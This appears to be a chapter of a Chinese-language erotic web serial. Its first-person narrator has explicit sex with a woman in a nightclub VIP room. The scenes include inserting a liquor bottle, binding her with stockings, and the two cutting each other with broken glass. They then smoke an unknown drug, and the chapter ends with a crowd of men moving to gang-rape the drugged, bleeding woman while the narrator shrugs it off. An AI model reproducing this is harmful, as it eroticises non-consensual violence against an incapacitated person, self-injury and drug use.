我断断续续地舔舐伊人的阴户,伸长手臂抓起那支还装着四分之一VSOP的细长酒瓶,拨开瓶塞,用瓶口取代我的唇舌,在她的阴道口和阴核一带旋转厮磨。

「啊┅┅嗯┅┅不,不要┅┅嗯┅┅嗯哼,你┅┅你怎麽这麽坏嘛┅┅嘶┅┅啊┅┅啊┅┅嘶┅┅啊┅┅」我索性起身席地而坐,等到瓶颈被淫水润湿了大半,便将酒瓶徐缓地推进伊人爱液奔流的阴道里。或许是因为害羞,她起先是半推半就地抗拒着,等到瓶身戮进她的体内大约十几公分,她似乎再也难以压抑冰凉、坚硬的酒瓶在阴道里摩擦出来的快感,兴奋地浪叫起来!

「嘶┅┅啊┅┅嗯┅┅好┅┅好棒┅┅啊┅啊┅┅太┅┅太棒了┅┅啊┅┅嗯┅┅啊┅┅」我不疾不徐地抽动酒瓶,让瓶口或深或浅地在伊人的阴道里探索。为了不让她受伤,我刻意地控制着力道,避免抽送太过猛烈。这时她显然已经克服大部份的恐惧,沉浸在酒瓶带来的异样快感里。她的腰部急遽地摆动,乳房也随着酒瓶的律动柔软地摇晃着;她的双臂分别搭着椅背和我的肩膀,一面扣抓沙发表皮一面抚弄我坚实的背肌;她的舌尖不停地润湿乾燥的嘴唇,大量的汗水早已融去脸上的浓妆。然而这不但未曾减损她的娇艳,反而把狂野的性感发挥得淋漓尽致。

当舞池里的雷射光束把伊人的眼神衬映得更为迷蒙,我的下体也因为视觉上的刺激,发出阵阵强劲的鼓噪。尽管插入的想法成形已久,但是此时的我却更想看见酒瓶替她带来高潮。我冉冉地俯身吸吮她的乳头和乳房,藉着留下青紫色的吻痕,发泄胯间那股行将炸裂的强劲热流!

「啊┅┅啊┅啊┅嗯┅啊┅啊┅快,快点,啊┅啊┅嗯┅啊┅给我,给我,啊┅啊┅嗯┅啊┅」在多种快感的鞭策下,伊人的意识逐渐趋向朦胧,她的娇吟也更加急促,显然已经濒临高潮。我加快酒瓶进出的速度,不再依眷她的酥胸,起身把她晃颤的双腿向乳房的方向扳,使她充塞着爱欲的阴户向上坦露着,再让酒瓶从垂直的方向滑进私处,高酒精度的醇酒也就这麽灌进她的阴道里!

「啊┅啊┅啊┅嘶┅┅啊┅┅啊┅┅啊┅┅我┅┅我┅┅啊┅┅啊┅┅啊┅┅啊┅┅」当酒液地流进阴道,伊人的身体蓦地蜷缩起来,酒精热辣的刺激使她全身的筋肉猛烈地抽搐着。她的表情飘飘欲仙,无意识的双手在空气里挥舞出涔涔的汗水。她的阴户肌肉剧烈地收缩,甚至把酒瓶推挤出阴道。只不过片刻,香浓的酒液便和她迷人的淫水混在一起,沿着胴体曲线流遍了整座沙发!

「啊┅┅嗯┅┅呼┅┅呼┅┅嗯┅┅嗯┅┅」在激亢的情绪下,伊人的叫声与动作都放浪而忘形,我也自顾着欣赏她表情与肢体的起伏。然而高潮时的剧烈挣动,却使她在失神状态中碰倒了台面上的杯子。清脆的玻璃碎裂声,就这麽硬生生地把沉溺在爱欲中的我们倏而唤醒,她高亢的情绪也逐渐地平缓下来。

「干嘛?是不是奶那里也喝醉啦?」用酒精替代射精冲动的我爱抚着浑身湿透的伊人,玩弄着她身上的汗水,一面望着满地的碎玻璃若有所思,一面跟她打屁。

「你讨厌死了┅┅你根本就没有进来玩嘛。这样好了,你想要我怎麽做?」高潮後的伊人调整着呼吸,爱抚着我依然坚挺的阳具。善体人意的她显然和 Niki 不同,在满足的时刻仍然念念不忘我未曾尽兴,累积在下体的性欲也尚未宣泄。

「有没有男人把奶绑起来搞过?」我温柔地亲吻伊人的嘴唇,捡起掉落一旁的裤袜,在她湿漉漉的皮肤上轻缓地扫动。

「什麽?你再说一次?」伊人略略一怔,从沙发上弹坐起来,难以置信的符号顿时汇集在她亮丽的五官里。

「奶听到了,离奶们打烊的时间还早,我当然不会随随便便放过奶。」从伊人在性事中的配合度来看,我相信这时她心里的渴望势必远超过驾愕。认识 Niki 以後,我对性交中的暴力似乎有些偏执。

「不要了,你想累死我啊?」当我把丝袜绕过伊人丰满的乳房下缘,她的脸孔徒然掠过慌乱的神情。尽管她没有在口头上允诺我的放肆,却也没有任何肢体上的拒绝。我将她的反应当成一种默许,继续用丝袜缠住乳房上缘。

「嘘┅┅奶别吵。」我专注地址紧丝袜,把伊人的双峰捆绑得更为精致。她的乳房因为充盈着血液而化成两朵激情的玫瑰,挺直的乳头则是含苞待放的蓓蕾。

伊人在羞涩中恍若抱有几分期待,望着更形突出的乳房,任由我把裤袜剩馀的长度卷在手腕上,将她的双手扎实地捆绑在乳房前方。正当我开始思索享用她的方法,行动电话竟急促地响了起来。

「等等┅┅喂,是奶啊。怎麽样?我?还能干嘛?当然是在打炮啊。」我抓起桌上的行动电话,来电的是前几天才见面的珊珊。

「什麽?有没有搞错?你要跟她讨论跟我做爱的心得?别闹了。」伊人轻轻地踢了踢我的大腿,催促我尽早结束通话。我把电话夹在肩膀和脖子中间,在她的胳肢窝搔了几下,她一时克制不住,边闪躲边发出恣意的哄笑。

「不,大小姐,奶不用讲黄色笑话帮我们助兴,赶快挂电话我就感激不尽了。好啦,明天下班我过去找奶。」我带着轻佻自负的笑意,结束通话。

「你女朋友?」伊人敛起笑容,倔着嘴唇,脸上的醋意不知是真是假。

「勉强算是。」为了保持我们之间热烈的气氛,我的回答十分暧昧。

「嗯┅┅那她会不会不高兴?」伊人和所有的女人一样,对越在意的事越是故作轻松。然而这种态度,却使我想到她容易把我们的一夜风流,混淆成真情流露。

「她不高兴又能怎麽样?」我的视线在满地的玻璃碎片中穿梭,下意识地抓起一块把玩着。我无意考虑过了今夜,伊人是否会将感情的重心贯注在我身上。但如果这个话题继续下去,我们原应狂欢的夜晚将会充满遗憾。

「你们这些男人就是这样┅┅哇啊,你干什麽?」当伊人娇嗔着躺进我的怀里,我手中的玻璃碎片冷不防在她细嫩的手臂肌唐上,浅浅地划出一道血痕。

「我啊?我现在要一 一 地把奶切开。」这个意外,或多或少地提示出我们性欲的走向。我扮了个鬼脸,没有因为伤及伊人道歉,反而在错愕的她身上继续划下第二道、第三道,甚至更多的血痕。

「啊┅┅嘶┅┅好┅┅好痛┅┅啊┅┅啊┅┅」尽管痛楚在胴体上肆虐,然而伊人仍旧没有逃避,进入状况的速度令我相当诧异。随着一道道蚯蚓似的伤痕爬上手臂与乳房,她紧蹙的眉宇之间逐渐显露出愉悦的神态,嘴边也徐徐回荡着呻吟。

「嗯┅┅啊┅┅嗯哼,这┅┅这不公平┅┅嗯┅┅拿来。」

但是伊人并没有继续沉沦下去,她睁开双眼,矜持地抢过我手中的碎玻璃,带着盈盈的浅笑,在我的背肌上刻划着超越正常交媾的浓情。

我既没有阻止伊人,也无从探究她在我背上刻划的究竟是一箭穿心的图案,还是永志不渝的誓言。断断续续的痛楚和血液流失的感觉,已然在片刻间将我淹没。

这个刹那,我忽而想起 Niki 沉醉在痛苦中的酣酡容颜,有生以来第一次,我如此真切地体会着比单纯的快感更踏实,也更激切的伤痛。伊人每在我的身上划出一道伤痕,我的神经就彷佛遭受一次思念的痛击。

一旦想起 Niki ,我的意识里除了隐隐作痛的伤痕,就只剩下狂乱做爱的念头┅┅是的,我渴望用快感狠狠地电殛肉体,在爆裂的高潮中死而後已!

「哇┅┅啊┅┅嘶┅┅嗯┅┅噢┅┅嗯┅┅嘶┅┅啊┅┅哇┅┅嘶┅┅啊┅┅啊┅┅」我紧紧地簇拥着伊人,使她正对椅背,再挺起坚实的阳具,戳进她粘稠湿滑的阴道。我们用来切割对方肉体的玻璃碎片,也由於体位的转换,寂然落地。

进入伊人的身体以後,回荡在体内的性爱激素旋即促使我用飞快的节奏,进行猛烈的抽送。残存在她阴道里的酒精,使我的阳具蓦地传来一阵凉意和酥麻。我彷佛是个进行着祭祷仪式的异教徒,毫无缘由地陷入女体形成的泥沼,然而我却甘之如饴,每一根神经都随着她的胴体波动!

「啊┅┅啊┅┅哇┅┅嗯┅┅从前面来┅┅啊┅┅前面,快┅┅啊┅┅嗯┅┅啊┅┅哇┅┅」快感强烈的冲击,使伊人发出激昂的嘶吼。她被捆绑的双手紧紧抓住椅背,猛力地摇撼整座沙发。兴奋的她才刚刚提出从前面插入的要求,便直接侧过身体将我压倒在沙发上。我的意识缥缈地在空间里翻腾,挣扎着将不慎滑出的阳具重新插回阴道。

「啊┅┅哇┅┅啊┅┅哇┅┅太┅┅太爽了┅┅啊┅┅哇┅┅我┅┅你是┅┅老手┅┅啊┅┅啊┅┅」伊人坐在我的胯间,高昂得几近疯狂的情欲使她的臀部剧烈摇摆,频频摆头甩去脸上湍流的汗水。她痉挛的十指抓裂我胸口的肌肉,我们的肉体在狂暴的震荡中抽搐颤抖,成串的血汗逐渐融合,纷乱地溢出我们的皮肤。

「啊┅┅哇┅┅哇┅┅你┅┅你┅┅真的┅┅太┅┅哇啊┅┅┅┅啊┅┅嗯┅┅啊┅┅啊┅┅嗯┅┅啊┅┅」情绪贲张的伊人在狂热的异态情境中,再也无法抑制官能向高潮飞奔。她放任自己像一沱烂泥般地瘫痪在我的胸前,在达到高潮的失声浪号以後,还频频抽动着身体,持续地发出淫淫的喉音。

「嗯哼,嗯┅┅啊┅┅噢┅┅嗯┅┅噢┅┅啊┅┅啊┅嗯┅啊┅啊┅啊┅嗯┅啊┅┅」全身被血汗湿透的我急急喘气,仍然没有停止抽送的意思。强烈的快感如影随形,让我如同跌进漫无边际的海沟里,又猛然窜出海水拨升到遥远的天际!

「啊┅啊┅嗯┅啊┅哇┅啊┅嗯┅┅」和 Niki 截然不同,达到高潮的伊人并没有停止抽送的配合。我的心里发酵着一股莫名的感动,从沙发上生了起来,捧起她轻柔摇摆的臀部,用站姿发起另一波抽送的攻势。

「啊┅┅哇┅┅不┅┅不要┅┅啊┅┅啊┅┅我┅┅我不行了┅┅哇┅┅」伊人抬起被绑住的双手,把我的头部紧拥在她局促的双乳之间。几乎完全失神的她抓裂我的後颈,再将血液胡乱地涂抹在我的皮肤上。她的双腿僵硬地夹住我的臀部,泛滥的快感使她频频要求停止性交。然而濒临射精边缘的我自顾品味着她乳房上的伤痕,血液和汗水在我的嘴角和脸颊上渲染出瑰丽的图腾。

「哇啊┅┅我又┅┅哇啊┅┅快┅┅快┅┅把我放┅┅放下来┅┅啊┅┅啊┅┅求求你┅┅啊┅┅」胴体猛烈的颤动和让我透不出气来的拥抱,传达出伊人再次达到高潮的讯息。她的阴道急遽地收缩,使我再也难以维持暴烈的抽送。我的阳具感到一阵呼之欲出的热流,突如其来地想在她的口腔里尽情宣泄。

我抱起伊人,让她汗水潸然的脊背贴着那面可以透视舞池的玻璃向下滑落,直到她的臀部触碰到冰凉的地砖。她彷佛看透我的心意,忙乱地蹲在我的双腿之间,急急抓住即将射精的阳具,送进她温热但略嫌乾燥的口腔。

「嗯哼,嗯┅┅呜┅┅呜┅┅嗯┅┅」当伊人的舌头在我的龟头上翻腾,双手也不停地搓动着阴茎,我再也无法抵挡她帮浦似的口器。我的神志飘摇在她凌乱而沉闷的音节之间,下体一阵热烈的抽动,精液便向她的喉咙深处疾射而去!

激情过後,浑身疲惫的我昏沉地倒在伊人的大腿上。我一面调节着呼吸的节奏,使亢奋的喘息逐渐舒缓,一面看着精液从她的嘴角慢慢地涌了出来。她伸手慵懒地抹去嘴角沾附的粘稠液体,血花在她充满汗水和伤痕的肌肤上一朵朵地晕开。

「呼,奶太棒了。我很少称赞女人,但是奶真的太棒了。」

我松了一口气,小腿由於用力过猛,轻微地传出类似抽筋的痛楚。高潮後的伊人靠在墙上,仍然用被捆绑的双手轻抚着我的脸颊。

「你也是。说真的,从我失去处女膜那天开始,还没有男人让我这麽疯。」伊人的双乳因为被丝袜捆绑而显得更为高耸、性感,我无心分辨那些赞叹是否由衷,在大脑里反覆地勾勒着她乳房的线条。

「真的吗?奶可以留电话给我。」我忍住痉挛带来的疼痛,硬是把小腿撑开。

「我可不想当奶的情妇。喂,动一下你的大头好不好?」伊人又在我的头上敲了一记,我吃力地坐直身于,看着她蹒跚地走向沙发,抓起随身携带的象牙烟盒。

「谁说我把奶当成情妇了?大不了我也给奶电话。」我跟着伊人的脚步在沙发上坐定,抓起内衣擦拭着身上斑斑的血汗。

「算了吧!男人的话我听多了。」伊人用被绑住的双手打开烟盒,取出一根手卷烟塞在我的唇边,一些细微的白色粉末从烟管中落了出来。

「什麽东东?」我把沾满血渍的内衣抛给伊人,她冷冷她笑着,没有接纳我的好意。我猜测这手卷烟的内容,虽然可能是大麻,但或许还掺杂着其他未知的成份。

「吸一口,是上等货。」伊人故作神秘地替我点上火,我没有浪费这些萎靡的烟雾,直接吸入我的口腔。

面对直冲脑门的麻痹,我旋即明白这和我平常惯用的大麻大不相同。只不过吸进一口,伊人躯体上的血痕便彷佛脱离原来的位置,纷纷扭曲起来。

「有没有嗑过药?」伊人也迳自点上一根烟,依偎在我的身边,我们的肢体因而赤裸交叠。我用了甩头,想抛开预期中的晕眩,却又不禁贪婪地抚摸着她被丝袜扎实绑住的乳房。她的话语在我听来十分迷离,像一群蚂蚁零散地爬入我的耳壳。

「只有大麻吧。」开口的片刻,我感到自己的声音也飘浮着,一再渗出伤口的血水似乎也从肌肤缓缓上升,朝天花板的方向流失。

「大麻算什麽?等一下,我们就会走进比高潮还美妙的世界。」伊人咯咯浪笑,音域忽而变得更为低沉。我揉了揉双眼,再次将烟雾吸进胸腔,她的面孔和身躯越来越模糊。变形中的她彷佛直接翻覆到我身上,不断伸舌舔舐我的伤口。

然而她真的是伊人吗?不,不对,她应该是 Niki 。我一把抱住她纤巧的腰,茫然地在白 的肌肤上烙下一个个青紫色的吻痕。我的头部极为晕眩,但是晕得非常舒服。这时的 Niki 根本就没有反抗,甚至完全不知道我在吸吮她的皮肤。和平常不同,她主动骑上我的腹部,眼角也没有为 Joker 流淌的泪水。

「我感觉不到奶的体重。」我忘情地吻着 Niki ,含糊地说出真实的感受,然而我始终没有把握她听不听得见。

当包厢里的景物冉冉地化成一片漆黑,我恍若置身在无穷深邃的宇宙,然而这时的我却没有对渺茫的周围感到恐惧。

在这不经意的时刻, Niki 柔软的身躯开始溶化。她的裸体逐渐拉长,像蛇一般地盘缠着我的胸膛。我摇头晃脑地质疑着眼前光怪陆离的景物,然而她的蛇身背後却蓦地扬起一对类似蝙蝠的翅膀。她的嘴角浮上一丝诡谲的笑,翅膀倏地上下摆动,拍击出比心跳更强劲的气流。

我无法阻止自己随异化的 Niki 起飞,这时她的脸孔突然产生急速的变化┅┅从 Niki 和伊人开始,按着是珊珊、夏琳┅┅只要是和我共享过鱼水之欢的女人,无论我记不记得起名字,她们高潮时的脸谱不停地在蛇身颈项上交替浮现。

「奶┅┅奶到底是谁?」我喃喃地询问这个多重分身的异体,见证着浑圆的蛇身浮现鳞片又渐渐变得透明┅┅我居然可以透砚它骨骼的纹理和剧烈搏动的脏器。

不知道过了多久,蛇身内部五颜六色的内脏和桃红的骨骼慢慢地位移,它们纷纷穿出透明的鳞片,航向无垠的宇宙空间。此刻,没有固定脸孔的蛇头陡然爆开,所有女人的脸谱四散纷飞,成为在宇宙间浮游的星河。

「不,不要走┅┅」随着种种异象一再幻变,缠住胸口的透明蛇身也不再束缚我的行止。我仍然可以听见自己空洞的声音,然而那些人头却渐行渐远。我奋力地拨动四肢,用游泳般的姿势追逐那些人头,希望可以留住部份远去的记忆,但是她们移动的速度越来越快,我越是想要接近,她们和我的距离就越是遥远。

绝望的我逐一呐喊她们的名字,然而我却不再听得见自己声嘶力竭的话语。处於这个如幻似真的情境,从我喉咙里冒出来的,竟然是一首节奏强劲的舞曲。

在越来越清晰的音乐声中,我所追逐的人头数量也越来越多。她们降低逃离的速度,缓慢地固定下来,我的意识也逐渐找回现实的座标。

是的,高分贝的舞曲撼动我的耳膜,所有飘浮的人头冉冉地长出完整的身体,成为一群哄笑的舞客。我可以感觉宇宙的背景逐渐从视野里淡出,然而雷射光束依然迷蒙着我的视线┅┅我终於领悟方才的神游完全是虚幻的映象,我只不过在麻药的作用下走出晦暗而淫乱的VIP room,赤身裸体地且身在酒店的舞池中央。

我茫然地伫立在众目睽睽的舞池里,舞客们不但没有因为我的出现而惊惶失措,甚至舞动得更为疯狂。虽然幻觉已经消失,但是晕眩却变本加厉地在我的脑中进行暴动。还来不及对裸奔一事感到困窘,我无力地仆倒下来,尽管思绪还算清晰,然而无论我再怎麽努力尝试,都无法再次起身。

眼看着被捆绑的伊人也血渍斑斑地跌出包厢,所有的舞客立即丢下狼狈的我,围着仍然沉浸在迷幻药里的她品头论足。这些舞客盯着她傲人的胴体,在低俗的言语之间甚至夹带着猥亵的淫笑。

一丝不挂的伊人已然挣脱丝袜的束缚,她的步履踉跄,走不了几步便撞倒包厢门口的金色屏风。她的意识彷佛还沉沦在迷离的幻境里,靠着屏风躺了下来,发出不复自拨的浪笑呻吟。劈开双腿的她袒露着私处,频频扭动身躯,甚至抚摸着伤痕累累的乳房,开始自慰。

舞池里的雷射光束和旋转灯光不停地闪烁,把伊人身上的血垢映照得驽心动魄。忙着自慰的伊人眼神呆滞,彷佛正进行着一场至死方休的裸舞。

不久之後,绑住乳房的丝袜因为伊人剧烈的肢体动作渐行松脱,围观的男性舞客叫嚷着起哄,纷纷脱去衣裤,一步步地向浑然未觉的她逼近。

当舞曲的节奏逐渐和群众的喧哗混合成一首残酷的战歌,我们的出现俨然已经成为「西楚霸王」今晚的特别节目。无瑕顾及伊人即将面对的遭遇,在她完全清醒之後,或许会一再回味今夜毫无间断的高潮,也或许会因为惨遭轮奸而悔恨不已。然而这些都不重要,我仅仅能做的只是默默地为她祈祷,希望她能延续朦胧的神志,直到近百个男人摧残过後,再悠然地恢复意识。

赤裸裸的我独自趴在舞池里,酒店里的群众已经有人扑上伊人的裸身。在这场荒诞的性爱派对结束以前,我恐怕得一直倒在这里。

尽管光影和肉体在视野里缤纷地追逐,但是疲惫与晕眩却还是啃啮着我的大脑。在群众的吆喝声中,我蓦然兴起告别这个世界的念头。稍後,我再也无法承担眼皮的重量,拒绝再看见或听见周围的幢幢人影。於是舞曲和人声渐渐从耳膜深处张翅远扬,我的听觉里终於只剩下胸口依然强烈的心跳。

我的躯体从未如此倦怠,低垂的泪水无可遏止地溢出眼眶。

我试着替莫名的眼泪寻找某种定义,然而在失去知觉以前,我唯一能够联想的只有 Niki 。



上一篇[現代奇幻]舞夜游侠(全文)-25下一篇[現代奇幻]舞夜游侠(全文)-26